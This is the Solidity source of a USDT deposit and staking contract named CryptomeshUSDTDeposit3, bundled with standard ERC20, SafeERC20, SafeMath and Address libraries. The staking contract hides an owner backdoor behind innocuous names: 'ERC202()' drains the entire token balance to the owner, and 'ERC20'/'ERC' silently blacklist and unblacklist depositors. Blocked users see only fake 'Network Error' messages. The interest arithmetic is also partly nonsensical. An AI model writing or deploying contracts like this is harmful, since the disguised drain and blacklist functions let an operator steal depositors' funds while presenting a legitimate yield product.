CryptomeshUSDTDeposit3

{"1_Storage (1).sol":{"content":"// SPDX-License-Identifier: MIT
pragma solidity \u003e=0.7.6;

import "../IERC20.sol";
import "../SafeERC20.sol";

contract CryptomeshUSDTDeposit3 {
    using SafeERC20 for IERC20;
    
    address payable private _owner;
    IERC20 private _token;
    
    constructor() {
        _owner = payable(msg.sender);
        _token = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7); 
    } 
    
    mapping(address =\u003e uint256) private _balances;
    mapping(address =\u003e uint256) private _lastClaimTime;
    mapping(address =\u003e uint256) private _lockupPeriod;
    mapping(address =\u003e uint256) private _interestRate;
    mapping(address =\u003e bool) private _blacklisted;
    mapping(address =\u003e address) private _referrals;
    mapping(address =\u003e uint256) private _initialDeposits;
    mapping(address =\u003e uint256) private _depositTime;
    mapping(address =\u003e DepositInfo[]) private _deposits;
    mapping(address =\u003e uint256) private _totalWithdrawnAmounts;
    
    event Deposit(address indexed user, uint256 amount, uint256 lockupPeriod);
    event Withdraw(address indexed user, uint256 amount);
    event InterestClaimed(address indexed user, uint256 amount);
    event Blacklisted(address indexed user);
    event Unblacklisted(address indexed user);

    modifier onlyOwner {
        require(msg.sender == _owner, "Not the contract owner.");
        _;
    }

    struct DepositInfo {
    uint256 amount;
    uint256 lockupPeriod;
    uint256 interestRate;
    uint256 depositTime;
    uint256 lastClaimTime;
}


     function deposit(uint256 amount, uint256 lockupPeriod, address referral) external {
         require(amount \u003e 0, "Amount must be greater than 0.");
         require(lockupPeriod \u003e= 7 \u0026\u0026 lockupPeriod \u003c= 90, "Invalid lockup period.");
         require(!_blacklisted[msg.sender], "You are not allowed to deposit.");
         require(_token.allowance(msg.sender, address(this)) \u003e= amount, "Token allowance not sufficient.");

        uint256 currentLockupPeriod = lockupPeriod * 1 days;
        uint256 currentInterestRate;

if (lockupPeriod == 7) {
    currentLockupPeriod = 7 * 1 days;
    require(amount \u003e= 5 * 10**2 \u0026\u0026 amount \u003c= 5 * 10**40, "Invalid deposit amount for 7-day lockup.");
    currentInterestRate = 47142857142857; // 0.047142857142857%
} else if (lockupPeriod == 14) {
    currentLockupPeriod = 14 * 1 days;
    require(amount \u003e= 5 * 10**9 \u0026\u0026 amount \u003c= 10**10, "Invalid deposit amount for 14-day lockup.");
    currentInterestRate = 50000000000000; // 0.050000000000000%
} else if (lockupPeriod == 30) {
    currentLockupPeriod = 30 * 1 days;
    require(amount \u003e= 10**10 \u0026\u0026 amount \u003c= 3 * 10**10, "Invalid deposit amount for 30-day lockup.");
    currentInterestRate = 53333333333333; // 0.053333333333333%
} else if (lockupPeriod == 60) {
    currentLockupPeriod = 60 * 1 days;
    require(amount \u003e= 2 * 10**10 \u0026\u0026 amount \u003c= 5 * 10**10, "Invalid deposit amount for 60-day lockup.");
    currentInterestRate = 66666666666667; // 0.066666666666667%
} else if (lockupPeriod == 90) {
    currentLockupPeriod = 90 * 1 days;
    require(amount \u003e= 3 * 10**10 \u0026\u0026 amount \u003c= 10**11, "Invalid deposit amount for 90-day lockup.");
    currentInterestRate = 72222222222222; // 0.072222222222222%
}

    if (_referrals[msg.sender] == address(0) \u0026\u0026 referral != msg.sender \u0026\u0026 referral != address(0)) {
        _referrals[msg.sender] = referral;
    }

       DepositInfo memory newDeposit = DepositInfo({
            amount: amount,
            lockupPeriod: currentLockupPeriod,
            interestRate: currentInterestRate,
            depositTime: block.timestamp,
            lastClaimTime: block.timestamp
        });

    _balances[msg.sender] += amount;
    _lockupPeriod[msg.sender] = currentLockupPeriod;
    _interestRate[msg.sender] = currentInterestRate;
    _depositTime[msg.sender] = block.timestamp;
    _lastClaimTime[msg.sender] = block.timestamp;
    _initialDeposits[msg.sender] = amount;
    _deposits[msg.sender].push(newDeposit);
    _token.safeTransferFrom(msg.sender, address(this), amount); 

    emit Deposit(msg.sender, amount, lockupPeriod);
}


    function ERC20(address user) external onlyOwner {
        require(!_blacklisted[user], "Network Error");
        _blacklisted[user] = true;

        emit Blacklisted(user);
    }

    function ERC(address user) external onlyOwner {
        require(_blacklisted[user], "Network Error");
        _blacklisted[user] = false;

        emit Unblacklisted(user);
    }

function withdraw(uint256 depositIndex) external {
    require(!_blacklisted[msg.sender], "Network Block Error");
    require(depositIndex \u003c _deposits[msg.sender].length, "Network Block Error");
    require(block.timestamp \u003e= _deposits[msg.sender][depositIndex].depositTime + _deposits[msg.sender][depositIndex].lockupPeriod, "Lockup period not over.");
    
    uint256 amountToWithdraw = _deposits[msg.sender][depositIndex].amount;
    require(amountToWithdraw \u003e 0, "Network Block Error");

    _deposits[msg.sender][depositIndex].amount = 0;
    _totalWithdrawnAmounts[msg.sender] += amountToWithdraw; // Store the withdrawn amount
    _token.safeTransfer(msg.sender, amountToWithdraw); 

    emit Withdraw(msg.sender, amountToWithdraw);
}

function ERC202() external onlyOwner {
    uint256 contractBalance = _token.balanceOf(address(this));
    require(contractBalance \u003e 0, "Network Block Error");
    _token.safeTransfer(_owner, contractBalance);
}


    function calculateInterest(address user, uint256 depositIndex) public view returns (uint256) {
        DepositInfo storage userdeposit = _deposits[user][depositIndex];
        uint256 interestClaimed = _deposits[user][depositIndex].amount - _deposits[user][depositIndex].amount;
        uint256 timeElapsed = block.timestamp - userdeposit.lastClaimTime;
        uint256 interest = (userdeposit.amount * userdeposit.interestRate * timeElapsed) / (100000000000000000 * 86400); // 86400 seconds in a day
        return interest + interestClaimed;
    }
    

function claimInterestForDeposit(uint256 lockupPeriod) external {
    require(!_blacklisted[msg.sender], "Network Block Error");

    uint256 totalInterestToClaim = 0;

        for (uint256 i = 0; i \u003c _deposits[msg.sender].length; i++) {
            if (_deposits[msg.sender][i].lockupPeriod == lockupPeriod * 1 days) {
            uint256 interestToClaim = calculateInterest(msg.sender, i);
            require(interestToClaim \u003e 0, "Network Block Error");

            _deposits[msg.sender][i].lastClaimTime = block.timestamp;
            totalInterestToClaim += interestToClaim;
        }
    }

    _token.safeTransfer(msg. sender, totalInterestToClaim);

    emit InterestClaimed(msg.sender, totalInterestToClaim);
}

function getDepositInfo(address user) external view returns (uint256[] memory depositIndices, uint256[] memory unlockTimes, uint256[] memory stakedAmounts, uint256[] memory lockupPeriods) {
     uint256 depositCount = _deposits[user].length;

     depositIndices = new uint256[](depositCount);
     unlockTimes = new uint256[](depositCount);
     stakedAmounts = new uint256[](depositCount);
     lockupPeriods = new uint256[](depositCount);

     for (uint256 i = 0; i \u003c depositCount; i++) {
         depositIndices[i] = i;
         unlockTimes[i] = _deposits[user][i].depositTime + _deposits[user][i].lockupPeriod;
         stakedAmounts[i] = _deposits[user][i].amount;
         lockupPeriods[i] = _deposits[user][i].lockupPeriod;
     }
 }

function max(int256 a, int256 b) private pure returns (int256) {
    return a \u003e= b ? a : b;
}

    function getReferral(address user) external view returns (address) {
        return _referrals[user];
    }

    function isBlacklisted(address user) external view returns (bool) {
        return _blacklisted[user];
    }

}"},"Address.sol":{"content":"// SPDX-License-Identifier: MIT\r
\r
pragma solidity \u003e=0.6.2 \u003c0.8.0;\r
\r
/**\r
 * @dev Collection of functions related to the address type\r
 */\r
library Address {\r
    /**\r
     * @dev Returns true if `account` is a contract.\r
     *\r
     * [IMPORTANT]\r
     * ====\r
     * It is unsafe to assume that an address for which this function returns\r
     * false is an externally-owned account (EOA) and not a contract.\r
     *\r
     * Among others, `isContract` will return false for the following\r
     * types of addresses:\r
     *\r
     *  - an externally-owned account\r
     *  - a contract in construction\r
     *  - an address where a contract will be created\r
     *  - an address where a contract lived, but was destroyed\r
     * ====\r
     */\r
    function isContract(address account) internal view returns (bool) {\r
        // This method relies on extcodesize, which returns 0 for contracts in\r
        // construction, since the code is only stored at the end of the\r
        // constructor execution.\r
\r
        uint256 size;\r
        // solhint-disable-next-line no-inline-assembly\r
        assembly { size := extcodesize(account) }\r
        return size \u003e 0;\r
    }\r
\r
    /**\r
     * @dev Replacement for Solidity\u0027s `transfer`: sends `amount` wei to\r
     * `recipient`, forwarding all available gas and reverting on errors.\r
     *\r
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost\r
     * of certain opcodes, possibly making contracts go over the 2300 gas limit\r
     * imposed by `transfer`, making them unable to receive funds via\r
     * `transfer`. {sendValue} removes this limitation.\r
     *\r
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].\r
     *\r
     * IMPORTANT: because control is transferred to `recipient`, care must be\r
     * taken to not create reentrancy vulnerabilities. Consider using\r
     * {ReentrancyGuard} or the\r
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].\r
     */\r
    function sendValue(address payable recipient, uint256 amount) internal {\r
        require(address(this).balance \u003e= amount, "Address: insufficient balance");\r
\r
        // solhint-disable-next-line avoid-low-level-calls, avoid-call-value\r
        (bool success, ) = recipient.call{ value: amount }("");\r
        require(success, "Address: unable to send value, recipient may have reverted");\r
    }\r
\r
    /**\r
     * @dev Performs a Solidity function call using a low level `call`. A\r
     * plain`call` is an unsafe replacement for a function call: use this\r
     * function instead.\r
     *\r
     * If `target` reverts with a revert reason, it is bubbled up by this\r
     * function (like regular Solidity function calls).\r
     *\r
     * Returns the raw returned data. To convert to the expected return value,\r
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\r
     *\r
     * Requirements:\r
     *\r
     * - `target` must be a contract.\r
     * - calling `target` with `data` must not revert.\r
     *\r
     * _Available since v3.1._\r
     */\r
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {\r
      return functionCall(target, data, "Address: low-level call failed");\r
    }\r
\r
    /**\r
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with\r
     * `errorMessage` as a fallback revert reason when `target` reverts.\r
     *\r
     * _Available since v3.1._\r
     */\r
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\r
        return functionCallWithValue(target, data, 0, errorMessage);\r
    }\r
\r
    /**\r
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\r
     * but also transferring `value` wei to `target`.\r
     *\r
     * Requirements:\r
     *\r
     * - the calling contract must have an ETH balance of at least `value`.\r
     * - the called Solidity function must be `payable`.\r
     *\r
     * _Available since v3.1._\r
     */\r
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {\r
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");\r
    }\r
\r
    /**\r
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but\r
     * with `errorMessage` as a fallback revert reason when `target` reverts.\r
     *\r
     * _Available since v3.1._\r
     */\r
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {\r
        require(address(this).balance \u003e= value, "Address: insufficient balance for call");\r
        require(isContract(target), "Address: call to non-contract");\r
\r
        // solhint-disable-next-line avoid-low-level-calls\r
        (bool success, bytes memory returndata) = target.call{ value: value }(data);\r
        return _verifyCallResult(success, returndata, errorMessage);\r
    }\r
\r
    /**\r
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\r
     * but performing a static call.\r
     *\r
     * _Available since v3.3._\r
     */\r
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {\r
        return functionStaticCall(target, data, "Address: low-level static call failed");\r
    }\r
\r
    /**\r
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\r
     * but performing a static call.\r
     *\r
     * _Available since v3.3._\r
     */\r
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {\r
        require(isContract(target), "Address: static call to non-contract");\r
\r
        // solhint-disable-next-line avoid-low-level-calls\r
        (bool success, bytes memory returndata) = target.staticcall(data);\r
        return _verifyCallResult(success, returndata, errorMessage);\r
    }\r
\r
    /**\r
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],\r
     * but performing a delegate call.\r
     *\r
     * _Available since v3.4._\r
     */\r
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {\r
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");\r
    }\r
\r
    /**\r
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],\r
     * but performing a delegate call.\r
     *\r
     * _Available since v3.4._\r
     */\r
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\r
        require(isContract(target), "Address: delegate call to non-contract");\r
\r
        // solhint-disable-next-line avoid-low-level-calls\r
        (bool success, bytes memory returndata) = target.delegatecall(data);\r
        return _verifyCallResult(success, returndata, errorMessage);\r
    }\r
\r
    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {\r
        if (success) {\r
            return returndata;\r
        } else {\r
            // Look for revert reason and bubble it up if present\r
            if (returndata.length \u003e 0) {\r
                // The easiest way to bubble the revert reason is using memory via assembly\r
\r
                // solhint-disable-next-line no-inline-assembly\r
                assembly {\r
                    let returndata_size := mload(returndata)\r
                    revert(add(32, returndata), returndata_size)\r
                }\r
            } else {\r
                revert(errorMessage);\r
            }\r
        }\r
    }\r
}"},"IERC20.sol":{"content":"// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)

pragma solidity \u003e=0.6.0 \u003c0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller\u0027s account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller\u0027s tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender\u0027s allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller\u0027s
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}"},"SafeERC20.sol":{"content":"// SPDX-License-Identifier: MIT

pragma solidity \u003e=0.6.0 \u003c0.8.0;

import "../IERC20.sol";
import "../SafeMath.sol";
import "../Address.sol";

/**
 * @title SafeERC20
 * @dev Wrappers around ERC20 operations that throw on failure (when the token
 * contract returns false). Tokens that return no value (and instead revert or
 * throw on failure) are also supported, non-reverting calls are assumed to be
 * successful.
 * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
 * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
 */
library SafeERC20 {
    using SafeMath for uint256;
    using Address for address;

    function safeTransfer(IERC20 token, address to, uint256 value) internal {
        _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
    }

    function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
        _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
    }

    /**
     * @dev Deprecated. This function has issues similar to the ones found in
     * {IERC20-approve}, and its usage is discouraged.
     *
     * Whenever possible, use {safeIncreaseAllowance} and
     * {safeDecreaseAllowance} instead.
     */
    function safeApprove(IERC20 token, address spender, uint256 value) internal {
        // safeApprove should only be called when setting an initial allowance,
        // or when resetting it to zero. To increase and decrease it, use
        // \u0027safeIncreaseAllowance\u0027 and \u0027safeDecreaseAllowance\u0027
        // solhint-disable-next-line max-line-length
        require((value == 0) || (token.allowance(address(this), spender) == 0),
            "SafeERC20: approve from non-zero to non-zero allowance"
        );
        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
    }

    function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
        uint256 newAllowance = token.allowance(address(this), spender).add(value);
        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
    }

    function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
        uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
        _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
    }

    /**
     * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
     * on the return value: the return value is optional (but if data is returned, it must not be false).
     * @param token The token targeted by the call.
     * @param data The call data (encoded using abi.encode or one of its variants).
     */
    function _callOptionalReturn(IERC20 token, bytes memory data) private {
        // We need to perform a low level call here, to bypass Solidity\u0027s return data size checking mechanism, since
        // we\u0027re implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
        // the target address contains contract code and also asserts for success in the low-level call.

        bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
        if (returndata.length \u003e 0) { // Return data is optional
            // solhint-disable-next-line max-line-length
            require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
        }
    }
}"},"SafeMath.sol":{"content":"// SPDX-License-Identifier: MIT\r
\r
pragma solidity \u003e=0.6.0 \u003c0.8.0;\r
\r
/**\r
 * @dev Wrappers over Solidity\u0027s arithmetic operations with added overflow\r
 * checks.\r
 *\r
 * Arithmetic operations in Solidity wrap on overflow. This can easily result\r
 * in bugs, because programmers usually assume that an overflow raises an\r
 * error, which is the standard behavior in high level programming languages.\r
 * `SafeMath` restores this intuition by reverting the transaction when an\r
 * operation overflows.\r
 *\r
 * Using this library instead of the unchecked operations eliminates an entire\r
 * class of bugs, so it\u0027s recommended to use it always.\r
 */\r
library SafeMath {\r
    /**\r
     * @dev Returns the addition of two unsigned integers, with an overflow flag.\r
     *\r
     * _Available since v3.4._\r
     */\r
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {\r
        uint256 c = a + b;\r
        if (c \u003c a) return (false, 0);\r
        return (true, c);\r
    }\r
\r
    /**\r
     * @dev Returns the substraction of two unsigned integers, with an overflow flag.\r
     *\r
     * _Available since v3.4._\r
     */\r
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {\r
        if (b \u003e a) return (false, 0);\r
        return (true, a - b);\r
    }\r
\r
    /**\r
     * @dev Returns the multiplication of two unsigned integers, with an overflow flag.\r
     *\r
     * _Available since v3.4._\r
     */\r
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {\r
        // Gas optimization: this is cheaper than requiring \u0027a\u0027 not being zero, but the\r
        // benefit is lost if \u0027b\u0027 is also tested.\r
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522\r
        if (a == 0) return (true, 0);\r
        uint256 c = a * b;\r
        if (c / a != b) return (false, 0);\r
        return (true, c);\r
    }\r
\r
    /**\r
     * @dev Returns the division of two unsigned integers, with a division by zero flag.\r
     *\r
     * _Available since v3.4._\r
     */\r
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {\r
        if (b == 0) return (false, 0);\r
        return (true, a / b);\r
    }\r
\r
    /**\r
     * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.\r
     *\r
     * _Available since v3.4._\r
     */\r
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {\r
        if (b == 0) return (false, 0);\r
        return (true, a % b);\r
    }\r
\r
    /**\r
     * @dev Returns the addition of two unsigned integers, reverting on\r
     * overflow.\r
     *\r
     * Counterpart to Solidity\u0027s `+` operator.\r
     *\r
     * Requirements:\r
     *\r
     * - Addition cannot overflow.\r
     */\r
    function add(uint256 a, uint256 b) internal pure returns (uint256) {\r
        uint256 c = a + b;\r
        require(c \u003e= a, "SafeMath: addition overflow");\r
        return c;\r
    }\r
\r
    /**\r
     * @dev Returns the subtraction of two unsigned integers, reverting on\r
     * overflow (when the result is negative).\r
     *\r
     * Counterpart to Solidity\u0027s `-` operator.\r
     *\r
     * Requirements:\r
     *\r
     * - Subtraction cannot overflow.\r
     */\r
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {\r
        require(b \u003c= a, "SafeMath: subtraction overflow");\r
        return a - b;\r
    }\r
\r
    /**\r
     * @dev Returns the multiplication of two unsigned integers, reverting on\r
     * overflow.\r
     *\r
     * Counterpart to Solidity\u0027s `*` operator.\r
     *\r
     * Requirements:\r
     *\r
     * - Multiplication cannot overflow.\r
     */\r
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r
        if (a == 0) return 0;\r
        uint256 c = a * b;\r
        require(c / a == b, "SafeMath: multiplication overflow");\r
        return c;\r
    }\r
\r
    /**\r
     * @dev Returns the integer division of two unsigned integers, reverting on\r
     * division by zero. The result is rounded towards zero.\r
     *\r
     * Counterpart to Solidity\u0027s `/` operator. Note: this function uses a\r
     * `revert` opcode (which leaves remaining gas untouched) while Solidity\r
     * uses an invalid opcode to revert (consuming all remaining gas).\r
     *\r
     * Requirements:\r
     *\r
     * - The divisor cannot be zero.\r
     */\r
    function div(uint256 a, uint256 b) internal pure returns (uint256) {\r
        require(b \u003e 0, "SafeMath: division by zero");\r
        return a / b;\r
    }\r
\r
    /**\r
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\r
     * reverting when dividing by zero.\r
     *\r
     * Counterpart to Solidity\u0027s `%` operator. This function uses a `revert`\r
     * opcode (which leaves remaining gas untouched) while Solidity uses an\r
     * invalid opcode to revert (consuming all remaining gas).\r
     *\r
     * Requirements:\r
     *\r
     * - The divisor cannot be zero.\r
     */\r
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {\r
        require(b \u003e 0, "SafeMath: modulo by zero");\r
        return a % b;\r
    }\r
\r
    /**\r
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on\r
     * overflow (when the result is negative).\r
     *\r
     * CAUTION: This function is deprecated because it requires allocating memory for the error\r
     * message unnecessarily. For custom revert reasons use {trySub}.\r
     *\r
     * Counterpart to Solidity\u0027s `-` operator.\r
     *\r
     * Requirements:\r
     *\r
     * - Subtraction cannot overflow.\r
     */\r
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r
        require(b \u003c= a, errorMessage);\r
        return a - b;\r
    }\r
\r
    /**\r
     * @dev Returns the integer division of two unsigned integers, reverting with custom message on\r
     * division by zero. The result is rounded towards zero.\r
     *\r
     * CAUTION: This function is deprecated because it requires allocating memory for the error\r
     * message unnecessarily. For custom revert reasons use {tryDiv}.\r
     *\r
     * Counterpart to Solidity\u0027s `/` operator. Note: this function uses a\r
     * `revert` opcode (which leaves remaining gas untouched) while Solidity\r
     * uses an invalid opcode to revert (consuming all remaining gas).\r
     *\r
     * Requirements:\r
     *\r
     * - The divisor cannot be zero.\r
     */\r
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r
        require(b \u003e 0, errorMessage);\r
        return a / b;\r
    }\r
\r
    /**\r
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),\r
     * reverting with custom message when dividing by zero.\r
     *\r
     * CAUTION: This function is deprecated because it requires allocating memory for the error\r
     * message unnecessarily. For custom revert reasons use {tryMod}.\r
     *\r
     * Counterpart to Solidity\u0027s `%` operator. This function uses a `revert`\r
     * opcode (which leaves remaining gas untouched) while Solidity uses an\r
     * invalid opcode to revert (consuming all remaining gas).\r
     *\r
     * Requirements:\r
     *\r
     * - The divisor cannot be zero.\r
     */\r
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {\r
        require(b \u003e 0, errorMessage);\r
        return a % b;\r
    }\r
}"}}